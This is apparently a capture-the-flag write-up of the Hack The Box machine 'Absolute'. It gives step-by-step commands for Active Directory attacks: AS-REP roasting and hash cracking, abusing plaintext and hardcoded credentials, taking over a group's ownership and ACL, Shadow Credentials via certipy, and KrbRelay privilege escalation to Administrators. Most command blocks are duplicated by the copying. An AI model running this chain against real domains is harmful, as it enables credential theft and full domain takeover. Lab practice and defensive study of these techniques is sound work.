August 24, 2026
Absolute: How a Church Photo’s Metadata Led Me to Domain Admin HTP
I’ve done a fair number of Windows AD boxes at this point, but Absolute is the first one that made me actually laugh out loud at 1 AM —…
By Youssef Fathelbab
11 min read
I've done a fair number of Windows AD boxes at this point, but Absolute is the first one that made me actually laugh out loud at 1 AM — because the very first "vulnerability" I found wasn't in a service or a port. It was in a JPEG.
Here's the whole thing, start to finish, exactly how I did it.
Recon
Like always, I start with a full port sweep.
nmap -p$ports -sC -sV 10.10.11.181
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
...nmap -p$ports -sC -sV 10.10.11.181
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
...
Not much guesswork needed here — Kerberos, LDAP, SMB, WinRM. This is a domain controller. The SSL cert on 389 hands me the hostname straight away: dc.absolute.htb, domain absolute.htb.
One thing I almost skipped past: the nmap output shows a 7-hour clock skew between my box and the target. I made a mental note of that immediately, because Kerberos flat-out refuses to work if your clock is more than 5 minutes off. Ignore that early and you'll waste twenty minutes later wondering why every ticket request silently fails.
echo "10.10.11.181 absolute.htb dc.absolute.htb" | sudo tee -a /etc/hostsecho "10.10.11.181 absolute.htb dc.absolute.htb" | sudo tee -a /etc/hostsA Slideshow With a Secret
Port 80 is a small business site called "Absolutely Gorgeous," with a hero image carousel front and center.
Nothing jumps out on the page itself, so I did what I always do and popped open the page source.
<img src="images/hero_4.jpg" alt="Stolen from pexels"><img src="images/hero_4.jpg" alt="Stolen from pexels">Funny enough, the alt text on a couple of the images literally admits they were "stolen from pexels." I grabbed all six:
for i in {1..6}; do wget http://absolute.htb/images/hero_$i.jpg; donefor i in {1..6}; do wget http://absolute.htb/images/hero_$i.jpg; done
Then, out of habit more than expectation, I ran exiftool on them.
exiftool *.jpgexiftool *.jpg
======== hero_1.jpg
Artist : James Roberts
Author : Michael Chaffrey======== hero_1.jpg
Artist : James Roberts
Author : Michael ChaffreyAnd there it was. Real names, sitting in the metadata of stock photos someone forgot to strip before uploading. I fed those names into username-anarchy to build a proper username list.
ruby username-anarchy/username-anarchy -i authors -f flast,lfirst,f.lastruby username-anarchy/username-anarchy -i authors -f flast,lfirst,f.last
j.roberts
jroberts
m.chaffrey
mchaffreyj.roberts
jroberts
m.chaffrey
mchaffreyI remember thinking at this point: "there's no way this is actually going to lead anywhere." It did.
AS-REP Roasting My Way to a Hash
With a username list in hand, the obvious next move is checking who doesn't require Kerberos pre-authentication.
Quick refresher on why this matters, since it's easy to gloss over: normally, when a user logs in, they have to first prove who they are by encrypting a timestamp with their own password-derived key — that's "pre-authentication." If an account has that requirement turned off (the UF_DONT_REQUIRE_PREAUTH flag), you can request a Kerberos ticket for that user without knowing their password at all. The Domain Controller just hands you back a piece of the ticket (the AS-REP) that's encrypted with a key derived from their password. You can't read it, but you can take it home and try every password in a wordlist against it offline, as fast as your hardware allows. No lockouts, no failed-login alerts, because from the DC's perspective nothing failed — it just doesn't check if you're the right person before responding.
impacket-GetNPUsers absolute.htb/ -no-pass -usersfile usernamesimpacket-GetNPUsers absolute.htb/ -no-pass -usersfile usernames
Most of the list comes back with the expected "doesn't have UF_DONT_REQUIRE_PREAUTH set." But one entry stands out:
$krb5asrep$23$d.klay@ABSOLUTE.HTB:6dd31550293eaba...$krb5asrep$23$d.klay@ABSOLUTE.HTB:6dd31550293eaba...d.klay — a name that wasn't even on my original metadata list, it must have shown up from a different image or a variant username-anarchy generated. Pre-auth disabled, hash handed to me for free. I saved it and threw it at John:
john klay_ticket --wordlist=/usr/share/wordlists/rockyou.txtjohn klay_ticket --wordlist=/usr/share/wordlists/rockyou.txt
Cracked. I had a password for d.klay.
The LDAP Bind That Wouldn't Cooperate
This is where I got stuck for longer than I'd like to admit. I tried a plain simple bind with the cracked password:
ldapsearch -H ldap://dc.absolute.htb -x -D d.klay@absolute.htb -w <password> -s basldapsearch -H ldap://dc.absolute.htb -x -D d.klay@absolute.htb -w <password> -s bas
ldap_bind: Invalid credentials (49)
Invalid credentials - even though I was sure the password was right. I tried a raw anonymous GSSAPI bind too, just to sanity-check:ldap_bind: Invalid credentials (49)
Invalid credentials - even though I was sure the password was right. I tried a raw anonymous GSSAPI bind too, just to sanity-check:
Server not found in Kerberos databaseServer not found in Kerberos databaseThat error told me my krb5.conf wasn't set up yet — this file tells Linux tools where to actually find the Kerberos realm and KDC (Key Distribution Center) for absolute.htb, since my machine has no idea that domain even exists otherwise. So I fixed that first:
[realms]
ABSOLUTE.HTB = {
kdc = dc.absolute.htb
admin_server = dc.absolute.htb
default_domain = absolute.htb
}[realms]
ABSOLUTE.HTB = {
kdc = dc.absolute.htb
admin_server = dc.absolute.htb
default_domain = absolute.htb
}The lesson here, in case anyone else hits this: a "simple bind" (-x) sends the username and password essentially as-is over the wire (protected only by whatever transport encryption is in play), and plenty of hardened DCs reject that outright — either because LDAP signing is enforced, or because NTLM/simple auth is disabled entirely in favor of Kerberos-only auth. A GSSAPI bind (-Y GSSAPI) instead authenticates using an actual Kerberos ticket, obtained separately via kinit, which is exactly the kind of auth these DCs expect. Once I had a proper Kerberos ticket for d.klay (via kinit) and used GSSAPI instead of a simple bind, everything clicked:
ldapsearch -H ldap://dc.absolute.htb -Y GSSAPI -b "cn=users,dc=absolute,dc=htb" 'user' 'description'ldapsearch -H ldap://dc.absolute.htb -Y GSSAPI -b "cn=users,dc=absolute,dc=htb" 'user' 'description'
dn: CN=svc_smb,CN=Users,DC=absolute,DC=htb description: AbsoluteSMBService123!
A password. Sitting in plaintext. In the AD description field. I still don't understand why this is such a common thing for admins to do, but I'm grateful every time I find it.
Into the SMB Shares
svc_smb's credentials open the shares right up.
impacket-smbclient -k -no-pass absolute.htb/svc_smb@dc.absolute.htbimpacket-smbclient -k -no-pass absolute.htb/svc_smb@dc.absolute.htb
ADMIN$ C$ IPC$ NETLOGON Shared SYSVOL
ADMIN$ C$ IPC$ NETLOGON Shared SYSVOL
The Shared share had exactly two files sitting in it, which is always a good sign — nobody puts random files on a share for no reason.
compiler.sh
test.exe
mget *mget *
Reading a Binary's Mind
compiler.sh told me exactly what I was dealing with before I even looked at test.exe:
cat compiler.shcat compiler.sh
#!/bin/bash
nim c -d:mingw --app:gui --cc:gcc -d:danger -d:strip $1
#!/bin/bash
nim c -d:mingw --app:gui --cc:gcc -d:danger -d:strip $1So test.exe is a compiled Nim binary. I ran it while capturing traffic, and Wireshark caught it doing something interesting on its own — trying to authenticate to the DC over LDAP:
absolute.htb\mlovegod..AbsoluteLDAP2022!absolute.htb\mlovegod..AbsoluteLDAP2022!The binary had a hardcoded LDAP bind, complete with a cleartext password, for a user called m.lovegod. That's two sets of leaked credentials now from two completely different careless mistakes — a photo and a binary.
Taking Over a Group I Wasn't Supposed to Touch
Kerberos ticket in hand for m.lovegod, I ran BloodHound to see what this account actually had access to.
bloodhound.py -u m.lovegod -k -d absolute.htb -dc dc.absolute.htb -ns 10.10.11.181 --dns-tcp --zip -c All -no-passbloodhound.py -u m.lovegod -k -d absolute.htb -dc dc.absolute.htb -ns 10.10.11.181 --dns-tcp --zip -c All -no-pass
Found 18 users
Found 55 groups
Found 1 computersFound 18 users
Found 55 groups
Found 1 computers
Loading it into the BloodHound UI, I found what I was looking for almost immediately: m.lovegod has GenericWrite over a group called Network Audit, and that group sits directly on the path to winrm_user.
For anyone who hasn't worked with Active Directory permissions directly: every object in AD — users, groups, computers — has an access control list (a DACL) attached to it, same idea as file permissions on a filesystem, just with a lot more possible rights. GenericWrite means I can modify most attributes on that object, which sounds modest until you remember that group membership and ownership are themselves just attributes. Whoever set this permission probably meant for m.lovegod to do something narrow and specific — but GenericWrite is broad enough that it let me do a lot more than that.
That GenericWrite is enough to escalate the relationship into full control. First, I took ownership of the group. Why bother with ownership specifically? Because the owner of an AD object always implicitly gets WriteDacl rights over it — meaning I can then rewrite its entire permission list from scratch, regardless of what the original DACL said:
python3 owneredit.py -k -no-pass absolute.htb/m.lovegod -dc-ip dc.absolute.htb -new-owner m.lovegod -target 'Network Audit' -action writepython3 owneredit.py -k -no-pass absolute.htb/m.lovegod -dc-ip dc.absolute.htb -new-owner m.lovegod -target 'Network Audit' -action write
[*] OwnerSid modified successfully![*] OwnerSid modified successfully!Then granted myself full rights over its ACL:
python3 dacledit.py -k -no-pass absolute.htb/m.lovegod -dc-ip dc.absolute.htb -principal m.lovegod -target "Network Audit" -action write -rights FullControlpython3 dacledit.py -k -no-pass absolute.htb/m.lovegod -dc-ip dc.absolute.htb -principal m.lovegod -target "Network Audit" -action write -rights FullControl
[*] DACL modified successfully![*] DACL modified successfully!A quick check confirmed the group memberships lined up the way BloodHound said they would:
memberOf: CN=Network Audit,CN=Users,DC=absolute,DC=htbmemberOf: CN=Network Audit,CN=Users,DC=absolute,DC=htbCertificates, Not Passwords
Controlling Network Audit gave me effective write access over winrm_user. I could've reset their password, but that's noisy and honestly not necessary — Absolute has ADCS (Active Directory Certificate Services) running, and that means Shadow Credentials are on the table.
Here's the actual mechanism, because it's genuinely clever: since 2015, Windows accounts have supported an attribute called msDS-KeyCredentialLink, originally built for Windows Hello for Business — it lets you log in with a public/private key pair instead of a password. If I have write access to a user's object (which GenericWrite over their controlling group gives me), I can write my own key pair into that attribute. From AD's point of view, I've just registered an alternative, perfectly legitimate login method for that account. I then request a certificate based on that key, and use the certificate to authenticate as them via PKINIT — Kerberos's certificate-based logon. The account's actual password never enters the picture at all, and — this is the part I appreciate — the attack even puts the original attribute value back afterward, so there's no obvious trace that a new credential was ever added.
First, mapping out the certificate environment:
certipy find -k -no-pass -u absolute.htb/m.lovegod@dc.absolute.htb -dc-ip 10.10.11.181 -target dc.absolute.htbcertipy find -k -no-pass -u absolute.htb/m.lovegod@dc.absolute.htb -dc-ip 10.10.11.181 -target dc.absolute.htb
Found 33 certificate templates
Found 11 enabled certificate templatesFound 33 certificate templates
Found 11 enabled certificate templatesThen the actual attack:
certipy shadow auto -k -no-pass -u absolute.htb/m.lovegod@dc.absolute.htb -dc-ip 10.10.11.181 -target dc.absolute.htb -account winrm_usercertipy shadow auto -k -no-pass -u absolute.htb/m.lovegod@dc.absolute.htb -dc-ip 10.10.11.181 -target dc.absolute.htb -account winrm_user
[*] Generating Key Credential
[*] Got TGT
[*] Trying to retrieve NT hash for 'winrm_user'[*] Generating Key Credential
[*] Got TGT
[*] Trying to retrieve NT hash for 'winrm_user'Certipy quietly wrote a fake key credential onto winrm_user, minted a certificate from it, and used that certificate to pull a working Kerberos ticket — all without me ever knowing (or needing) their real password.
First Shell
evil-winrm -i dc.absolute.htb -r ABSOLUTE.HTBevil-winrm -i dc.absolute.htb -r ABSOLUTE.HTB
*Evil-WinRM* PS C:\Users\winrm_user\Documents> whoami
absolute\winrm_user*Evil-WinRM* PS C:\Users\winrm_user\Documents> whoami
absolute\winrm_userI was in. Just not as anyone important — yet.
The Part That Took Me the Longest: KrbRelay
I uploaded two tools I already had on hand: CheckPort.exe and KrbRelay.exe.
Quick explanation of what KrbRelay is actually doing, since the command line alone doesn't make it obvious: on Windows, DCOM (a way for Windows components to talk to each other, even across process boundaries) lets a low-privileged process register a "COM server" that a higher-privileged process — including SYSTEM — can be tricked into connecting to and authenticating against, if you know the right CLSID (basically an ID for a specific COM component). SYSTEM authenticates using its own machine account's Kerberos ticket. KrbRelay's whole trick is capturing that incoming Kerberos authentication and immediately replaying it — relaying it — against a completely different service, in this case LDAP on the DC itself. The DC has no way to tell the replayed authentication apart from a real SYSTEM connection, so it treats me as SYSTEM for that one LDAP session.
CheckPort.exe tells you which local ports SYSTEM can be coerced into authenticating through — I needed one of those for the relay to work.
[*] SYSTEM Is allowed through port 10[*] SYSTEM Is allowed through port 10Port 10 it is. First attempt at running KrbRelay directly, though, went nowhere:
.\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 8F5DF053-3013-4dd8-B5F4-88214E81C0CF -port 10.\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 8F5DF053-3013-4dd8-B5F4-88214E81C0CF -port 10
System.UnauthorizedAccessException: Access is denied.System.UnauthorizedAccessException: Access is denied.I stared at that for a while. The reason: WinRM sessions run under a "network" logon type, which is deliberately restricted — it's meant for remote administration, not for hosting COM servers that other privileged processes can discover and connect to locally. KrbRelay needs a session that Windows treats as more "local" in nature. I confirmed there wasn't even a real interactive session to hook into:
qwinstaqwinsta
qwinsta.exe : No session exists for *qwinsta.exe : No session exists for *The fix was to spin up a fresh logon session myself using RunasCs, with a completely made-up password:
.\runascs.exe winrm_user -d absolute.htb TotallyNotACorrectPassword -l 9 "qwinsta".\runascs.exe winrm_user -d absolute.htb TotallyNotACorrectPassword -l 9 "qwinsta"
The password being wrong didn't matter, and this part is worth explaining properly: logon type 9 is LOGON_NEW_CREDENTIALS, the same logon type behind runas /netonly. It creates a new local process that keeps your current token — and therefore your current Kerberos ticket cache — for anything happening on the local machine, while only using the credentials you typed for outbound network authentication. Since I never needed those outbound network credentials to be real (everything that mattered was local, using my already-valid winrm_user Kerberos ticket), the fake password was a complete non-issue. What actually mattered was that this new process now had a proper local logon session — the missing piece KrbRelay needed. Now qwinsta actually returned session data. So I re-ran KrbRelay inside that new session instead of directly in the Evil-WinRM shell:
.\runascs.exe winrm_user -d absolute.htb TotallyNotACorrectPassword -l 9 "C:\users\winrm_user\music\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 8F5DF053-3013-4dd8-B5F4-88214E81C0CF -port 10".\runascs.exe winrm_user -d absolute.htb TotallyNotACorrectPassword -l 9 "C:\users\winrm_user\music\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 8F5DF053-3013-4dd8-B5F4-88214E81C0CF -port 10"
[*] Forcing SYSTEM authentication
[+] LDAP session established[*] Forcing SYSTEM authentication
[+] LDAP session establishedThat was the moment I knew I had it. SYSTEM's own Kerberos authentication got coerced and relayed straight into an authenticated LDAP session against the DC. One more command, and I used that session to add myself to Administrators:
.\runascs.exe winrm_user -d absolute.htb TotallyNotACorrectPassword -l 9 "C:\users\winrm_user\music\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 8F5DF053-3013-4dd8-B5F4-88214E81C0CF -port 10 -add-groupmember Administrators winrm_user".\runascs.exe winrm_user -d absolute.htb TotallyNotACorrectPassword -l 9 "C:\users\winrm_user\music\KrbRelay.exe -spn ldap/dc.absolute.htb -clsid 8F5DF053-3013-4dd8-B5F4-88214E81C0CF -port 10 -add-groupmember Administrators winrm_user"
[*] ldap_modify: LDAP_SUCCESS[*] ldap_modify: LDAP_SUCCESSConfirming it:
net user winrm_usernet user winrm_user
Local Group Memberships *Administrators *Remote Management UseLocal Group Memberships *Administrators *Remote Management UseDomain Admin, from a stock photo's EXIF data. I sat back for a second after that last screenshot — this box didn't have one "aha" moment, it had six of them, each one setting up the next.
What I Actually Learned From This One
- Metadata is still a real attack surface. Nobody thinks to check what's embedded in the images on their own website.
- AS-REP Roasting never stops being worth trying — you lose nothing by checking.
- Passwords in AD description fields and hardcoded creds in compiled binaries are both mistakes I've now seen enough times to actively look for them by default.
- ACL misconfigurations chain fast. One write permission on a group turned into full control over a different user account entirely.
- ADCS Shadow Credentials mean an attacker doesn't even need your password anymore — just the right write permission and a CA to abuse.
- KrbRelay was a genuine reminder that Kerberos isn't immune to the same coercion-and-relay tricks that have plagued NTLM for years — you just need the right logon context to pull it off.